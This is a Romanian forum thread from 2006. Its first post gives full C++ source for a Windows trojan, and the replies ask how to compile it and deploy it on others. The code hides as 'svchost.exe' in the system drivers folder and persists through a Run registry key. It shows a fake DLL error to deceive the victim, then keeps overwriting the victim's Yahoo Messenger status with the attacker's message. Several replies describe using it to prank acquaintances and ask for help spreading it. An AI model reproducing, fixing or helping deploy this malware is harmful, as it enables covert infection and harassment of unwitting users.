ghici Posted July 19, 2006 Report Share Posted July 19, 2006 by DJAx3L//---------------------------------------------------------------------------#include <vcl.h>#include <Registry.hpp>#pragma hdrstop#define STATUSMSG "YOUR STATUS MESSAGE HERE"//---------------------------------------------------------------------------void setstatus() {     AnsiString *username = new AnsiString;     TRegistry *RegGet = new TRegistry(KEY_READ);     try     {         RegGet->RootKey = HKEY_CURRENT_USER;         RegGet->OpenKey("SoftwareYahoopager",false);         *username = RegGet->ReadString("Yahoo! User ID");     }     __finally     {         delete RegGet;     }     TRegistry *RegSet = new TRegistry(KEY_WRITE);     try     {         RegSet->RootKey = HKEY_CURRENT_USER;         AnsiString key = "SoftwareYahoopagerProfiles" + *username + "Custom Msgs";         RegSet->OpenKey(key,false);         RegSet->WriteString("5",STATUSMSG);     }     __finally     {         delete RegSet;     }     HWND hWndY = FindWindow ("YahooBuddyMain", NULL);     PostMessage (hWndY, WM_COMMAND, 0x188, 0);     delete username;     Sleep(15000);     setstatus();}//---------------------------------------------------------------------------WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int){     try     {         if(ExtractFileName(Application->ExeName) != "svchost.exe") {             char target[30];             GetSystemDirectory(target, MAX_PATH);             AnsiString tg = target;             tg +=  "driverssvchost.exe";             CopyFile(Application->ExeName.c_str(),tg.c_str(),0);             TRegistry *regrun = new TRegistry;             try             {                 regrun->RootKey = HKEY_CURRENT_USER;                 AnsiString key = "SoftwareMicrosoftWindowsCurrentVersionRun";                 regrun->OpenKey(key,false);                 regrun->WriteString("braaainz","""+tg+""");             }             __finally             {                 delete regrun;             }             Application->ShowException(&Exception("Could not locate entry point __GETICON in shell32.dll"));             ShellExecute(NULL,"open",tg.c_str(),NULL,NULL,SW_SHOW);             ExitProcess(0);         }         setstatus();     }     catch (Exception &exception)     {        Application->ShowException(&exception);     }     catch (...)     {         try         {             throw Exception("");         }         catch (Exception &exception)         {            Application->ShowException(&exception);         }     }     return 0;}//--------------------------------------------------------------------------- Quote Link to comment Share on other sites More sharing options...
mario23 Posted July 23, 2006 Report Share Posted July 23, 2006 CE stie frate asta sa faca ??? sper ca nu se f**e cu calculatoru !!! Quote Link to comment Share on other sites More sharing options...
Screech Posted July 23, 2006 Report Share Posted July 23, 2006 <div class='quotetop'>QUOTE("mario23")</div>CE stie frate asta sa faca ??? sper ca nu se f**e cu calculatoru !!!cred ca este vorba despre binecunoscutul "sunt gay pasiv daca esti gay activ si bine dotat cauta-ma" (yahoo status changer) Quote Link to comment Share on other sites More sharing options...
djradu Posted July 23, 2006 Report Share Posted July 23, 2006 ssuuppeerr marpha !!!! Quote Link to comment Share on other sites More sharing options...
nos Posted July 23, 2006 Report Share Posted July 23, 2006 il stiu deschisese unu intrase dupa 2 luni pe mess tot ala il avea Quote Link to comment Share on other sites More sharing options...
ROb69 Posted August 2, 2006 Report Share Posted August 2, 2006 asa si cum fac sa il pun si io ??? Quote Link to comment Share on other sites More sharing options...
eddie47 Posted August 3, 2006 Report Share Posted August 3, 2006 ROb69 ai citit regulile tu, ma ?! :@ Quote Link to comment Share on other sites More sharing options...
Pastilatu' Posted August 6, 2006 Report Share Posted August 6, 2006 oooo bun chiar il cautam acusica ma bag sa il fac :@ Quote Link to comment Share on other sites More sharing options...
Flubber Posted August 7, 2006 Report Share Posted August 7, 2006 e c++ oare cat i-a luat lu ala sa faca virusu ? Quote Link to comment Share on other sites More sharing options...
cigraphics Posted August 7, 2006 Report Share Posted August 7, 2006 aaaa ce mi-am batut joc de un fost coleg dar sursa asta cand incerc sa o compilez cu cygwin imi arata k are tot felul de erori cu ce sa-l compilez ?? Quote Link to comment Share on other sites More sharing options...
rellik Posted August 10, 2006 Report Share Posted August 10, 2006 cu bc.exe din borlandc Quote Link to comment Share on other sites More sharing options...
cigraphics Posted August 10, 2006 Report Share Posted August 10, 2006 pai poate cineva sa uploadeze programul ??? va rog mult de tot :@ Quote Link to comment Share on other sites More sharing options...
B_Real Posted August 12, 2006 Report Share Posted August 12, 2006 Ce imi da cand incerc sa-i dau compil Quote Link to comment Share on other sites More sharing options...
Sad_Dreamer Posted August 12, 2006 Report Share Posted August 12, 2006 parca e in C codu' ...:@? Quote Link to comment Share on other sites More sharing options...
B_Real Posted August 12, 2006 Report Share Posted August 12, 2006 am folosit programu pt compiler ca , cu cygwin nu pot si imi da erorile alea .Nu poata sa puna cineva programu gata facut Quote Link to comment Share on other sites More sharing options...
djradu Posted September 1, 2006 Report Share Posted September 1, 2006 cu cygwin nu merge !!!!!!!!!!!!!! dece oare nu merge ? da multe erori fff multe !! daca poate cineva sa il repare ssi sa il posteze reparat pls ! Quote Link to comment Share on other sites More sharing options...